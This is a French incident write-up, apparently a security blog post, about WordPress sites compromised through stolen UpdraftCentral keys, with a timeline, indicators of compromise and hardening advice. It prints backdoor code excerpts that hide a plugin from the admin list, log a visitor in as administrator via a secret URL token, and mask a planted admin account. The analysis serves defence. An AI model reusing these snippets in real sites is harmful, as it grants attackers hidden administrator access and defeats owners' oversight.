UpdraftCentral m’a tuer ! Histoire de compromission un peu particulière

Lundi 19 octobre, le blog d’un de mes clients ne répond plus : « Il y a une erreur critique sur ce site ». Le coupable est vite trouvé : une extension qui n’a jamais été installée par le client : menu-stack, la même famille que celle décrite le jour même par IT-Connect et Nethemba. Un bug dans son code fait planter chaque page.

L’histoire aurait pu s’arrêter là. Sauf qu’en remontant le dossier des extensions, j’en trouve deux autres, arrivées plusieurs heures plus tôt. Celles-là ne plantent pas. Elles sont conçues pour se faire oublier, et elles donnaient à l’attaquant un accès administrateur au site.

Le bug qui a sauvé d’autres sites ne protège donc pas tout le monde. Un site qui n’a pas planté peut très bien être compromis sans le moindre symptôme.

Le contexte en bref

L’attaquant n’a exploité aucune faille de les serveurs : il disposait des clés qui permettent de piloter les sites à distance.

  • UpdraftCentral est le tableau de bord de gestion à distance de TeamUpdraft. Son client est intégré à chaque copie d’UpdraftPlus, gratuite ou premium.
  • Un site connecté conserve une clé et exécute toute commande signée par le tableau de bord, avec les droits de l’administrateur qui a créé la connexion. Parmi ces commandes : plugin.upload_plugin, qui installe et active une extension.
  • Le week-end des 17 et 18 octobre, teamupdraft.com a été compromis. Selon l’éditeur, la base clients a été consultée, y compris les clés de connexion UpdraftCentral (communiqué de TeamUpdraft).
  • Ces clés ne peuvent pas être révoquées à distance par l’éditeur. Tant qu’elles restent sur un site, ce site accepte les commandes de quiconque les détient.

Les deux sites étaient à jour mais cela ne change rien !

Pour le récit détaillé du mécanisme, je vous renvoie aux analyses publiées le 19 octobre par IT-Connect et Nethemba. Cet article se concentre sur ce qu’elles ne décrivent pas encore.

La chronologie

Sur les deux sites, le scénario est identique : une sonde, puis une ou plusieurs extensions déposées dans les heures qui suivent, toujours depuis 43.250.53.42 (hébergeur RedSwitches), la même adresse que dans l’article de Nethemba. Le blog est noté A, le second site B. Heures de Paris.

Date et heureSiteÉvénement
17/09/2025BCréation de la clé UpdraftCentral, oubliée depuis
14/06 au 06/08/2026ATentatives d’exploitation de CVE-2026-10795 depuis 8 adresses IP, toutes rejetées (« Could not decrypt incoming message »)
17-18/10/2026TeamUpdraftIntrusion sur teamupdraft.com selon l’éditeur
18/10, 23:17ASonde vers la clé fictive probe.central.updraftplus.com
18/10, 23:53Aplugin.upload_plugin : dépôt de site-health-cache (fonctionnelle)
19/10, 00:45Aplugin.upload_plugin : dépôt de js-cache-d96b (fonctionnelle)
19/10, 01:22BSonde vers probe.central.updraftplus.com
19/10, 03:14Bplugin.upload_plugin : dépôt de query-bridge-db3 (buguée)
19/10, 08:34Aplugin.upload_plugin : dépôt de menu-stack (buguée). Le site tombe
19/10, 10:28BRafale de 64 requêtes UDRPC, toutes redirigées (302), non traitées
19/10, 11:28ADeux nouvelles commandes, en échec : le site renvoie une erreur 500
19/10, 17:03AMise en quarantaine des trois extensions, suppression de la clé
19/10, 17:12AAlerte Seckhmet : nouveaux composants détectés
19/10, 17:51BMise en quarantaine, suppression de la clé, renouvellement des clés secrètes

Deux détails comptent. Sur le blog, les deux portes dérobées fonctionnelles sont arrivées en premier, près de neuf heures avant celle qui a fait tomber le site. Et l’attaquant est revenu à la charge en fin de matinée : il était toujours actif.

Trois familles de portes dérobées

Les quatre extensions relèvent de trois modèles distincts. Toutes servent le même but, ouvrir une session administrateur depuis une simple URL, mais seule la troisième est déjà documentée.

 site-health-cachejs-cache-d96bModèle « maintenance toolkit »
Exemplairesblogblogmenu-stack (blog), query-bridge-db3 (site B)
Déclencheur?cb18559178f8=<jeton>?c164b9a7b76c=<jeton>&m=…?_6a585d= / ?_93b01d=
Effetsession sur le 1er administrateur existantcrée un admin caché ou ouvre une session admincrée un Éditeur avec manage_options et install_plugins
Dissimulationabsente de la liste des extensionscompte masqué dans la liste des utilisateursnom et description génériques
Fonctionne ?ouiouinon, plante le site

1. site-health-cache : l’extension invisible

C’est la plus courte et la plus dangereuse. Son nom imite le module « Santé du site » de WordPress, et elle se retire elle-même de l’écran Extensions :

add_filter('all_plugins', function($plugins) {
    $file = plugin_basename(__FILE__);
    if (isset($plugins[$file])) unset($plugins[$file]);
    return $plugins;
});

Elle efface aussi sa trace de la liste des extensions récemment activées. Avec le bon jeton, elle connecte le visiteur sur le premier compte administrateur, sans créer de compte :

if (isset($_GET['cb18559178f8']) && hash_equals('28FWGDdx…', $_GET['cb18559178f8'])) {
    $admins = get_users(array('role' => 'administrator', 'number' => 1));
    wp_set_current_user($admins[0]->ID);
    wp_set_auth_cookie($admins[0]->ID);
    wp_redirect(admin_url());

Pas de nouveau compte à repérer, pas d’extension visible, et une connexion qui contourne le formulaire, donc la double authentification. Une revue classique de l’admin ne voit rien.

2. js-cache-d96b : l’administrateur fantôme

Elle se présente comme une extension de cache (« Improves cache efficiency for content sites », auteur « PluginCraft ») et fait illusion. Son point d’entrée a trois modes :

  • m=setup crée le compte administrateur webtech795 (« Web Tech », webtech795@example.com), mémorise son ID dans l’option js_cache_d96b_uid et s’y connecte ;
  • m=svc se reconnecte à ce compte ;
  • sans mode, elle ouvre une session sur le premier administrateur.

Le compte créé est ensuite effacé de l’écran Utilisateurs, et le compteur d’administrateurs est corrigé pour ne pas trahir sa présence :

add_action('pre_user_query', function($query) {
    $svc = (int) get_option('js_cache_d96b_uid', 0);
    if ($svc) {
        $ex = $query->query_vars['exclude'] ?? array();
        $query->query_vars['exclude'] = array_merge((array) $ex, array($svc));
    }
});

Sur le blog, l’option js_cache_d96b_uid n’existait pas : le mode setup n’a jamais été appelé.

3. Le modèle « maintenance toolkit »

C’est celui décrit par IT-Connect (type-stack-285) et Nethemba (load-stack-35c, text-gantry-eb0). Mes deux exemplaires, menu-stack (auteur affiché « LoftStack ») et query-bridge-db3 (« Harbor Stack Labs »), portent la même description : « Small maintenance toolkit: keeps option storage tidy. »

Ils devaient créer un compte Éditeur (page-maint66, data_team87, adresse en @example.org, nom affiché « Site Tools ») doté de manage_options et install_plugins, donc un quasi-administrateur absent du filtre par rôle. Le même bug les rend inopérants : les constantes sont déclarées au niveau global, puis lues comme constantes de classe.

define( 'QUERYBRIDGEDB3_FIELD', '_93b01d' );
// ...
if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, ... ) ) {
// PHP 8 : Error: Undefined constant QueryBridgeDb3::FIELD

L’erreur survient à chaque chargement de page, avant la vérification du jeton : le site entier tombe. Corriger quelques caractères suffirait à rendre ce modèle fonctionnel. Si vous en trouvez un, ne le « réparez » surtout pas.

La détection dans tout ça ?

Seckhmet m’a envoyé un e-mail « Nouveau(x) composant(s) WordPress détecté(s) » listant js-cache-d96b 1.8.7 et site-health-cache 1.0.0. Point notable : site-health-cache a bien été repérée alors qu’elle se retire de l’écran Extensions de WordPress. Une surveillance qui compare l’inventaire des composants dans le temps voit ce que l’admin ne montre plus.

Au niveau des journaux, trois sources ont suffi à reconstituer l’attaque :

  • le journal UpdraftCentral (Outils avancés > UpdraftCentral > « Voir les récents événements »), avec une ligne Command received: plugin.upload_plugin par dépôt ;
  • les journaux d’accès Apache, avec un POST / portant le User-Agent WordPress/6.4; class-udrpc.php à la seconde près ;
  • les dates de création des dossiers dans wp-content/plugins/.

Le vrai tableau de bord UpdraftCentral envoie class-udrpc.php/2.0; https://teamupdraft.com. L’absence de version dans le User-Agent signe un client tiers.

Les indicateurs de compromission

Les noms changent d’un site à l’autre : cherchez les comportements autant que les valeurs exactes. Jetons et mots de passe sont tronqués volontairement.

 site-health-cachejs-cache-d96bmenu-stackquery-bridge-db3
En-têteSite Health Cache 1.0.0, sans auteurJs Cache D96b 1.8.7, PluginCraftMenu Stack 3.5.5, LoftStackQuery Bridge Db3 3.3.6, Harbor Stack Labs
Déposée le18/10, 23:5319/10, 00:4519/10, 08:3419/10, 03:14
Paramètre GETcb18559178f8c164b9a7b76c (+ m)_6a585d_93b01d
Jeton28FWGDdx…6xES11Fg…xQskPT6h…i61np3ec…
Compte prévuaucun (admin existant)webtech795, @example.com, « Web Tech »page-maint66, @example.org, « Site Tools »data_team87, @example.org, « Site Tools »
Options en basesh_cache_verjs_cache_d96b_installed, js_cache_d96b_uidmenu_stack_sync_tokenquery_bridge_db3_sync_token
Tâche planifiéenonjs_cache_d96b_maintenancenonnon
SHA-256 du fichier principalà compléterà compléterà compléter11c42d4eda8cc0237985b3234a92b9e434a328e5aab279842408b13f196aad5d

Traits communs à toute la campagne :

  • requête POST / avec le User-Agent exact WordPress/6.4; class-udrpc.php, depuis 43.250.53.42 ;
  • dans le journal UpdraftCentral, une sonde vers probe.central.updraftplus.com, puis Command received: plugin.upload_plugin quelques minutes à quelques heures plus tard ;
  • un dossier d’extension créé à la seconde de cette commande par l’utilisateur PHP ;
  • dans le code : $_GET + hash_equals + wp_set_auth_cookie, souvent wp_insert_user avec une adresse @example.* ;
  • pour le modèle bugué, l’erreur fatale Undefined constant <Classe>::FIELD.

Les leçons

Le point faible n’était pas une version obsolète, mais une confiance totale accordée à un tiers, puis oubliée.

  • Inventorier les accès distants. La clé du second site datait de septembre 2025 et ne servait plus. Une clé UpdraftCentral, Migrator, ManageWP ou MainWP est un accès administrateur permanent : supprimez celles dont vous n’avez pas l’usage.
  • Créer les clés sous un compte limité. UpdraftCentral exécute les commandes avec les droits du compte qui a créé la clé. Comme le note Nethemba, un compte sans install_plugins aurait bloqué le dépôt.
  • Interdire l’installation de code depuis WordPress. define( ‘DISALLOW_FILE_MODS’, true ); dans wp-config.php bloque l’installation et la mise à jour d’extensions depuis l’admin, et donc via UpdraftCentral. Les mises à jour passent alors par WP-CLI ou le déploiement.
  • Surveiller l’inventaire, pas seulement l’écran. Une extension peut se cacher de l’admin, pas du disque. Une alerte sur tout nouveau composant, comme celle de Seckhmet, comble ce trou : c’est elle qui a révélé l’extension invisible de mon blog.
  • Ne pas se fier au bug. Sur le blog, le modèle bugué est arrivé en dernier. Un site qui fonctionne normalement n’est pas un site sain.
  • Garder des journaux assez longs. Sans journaux d’accès, impossible de prouver qu’un jeton n’a pas été appelé. Le journal UpdraftCentral ne conserve que les 50 derniers événements.

Un besoin ? Un projet ? Une démo ? Contactez-nous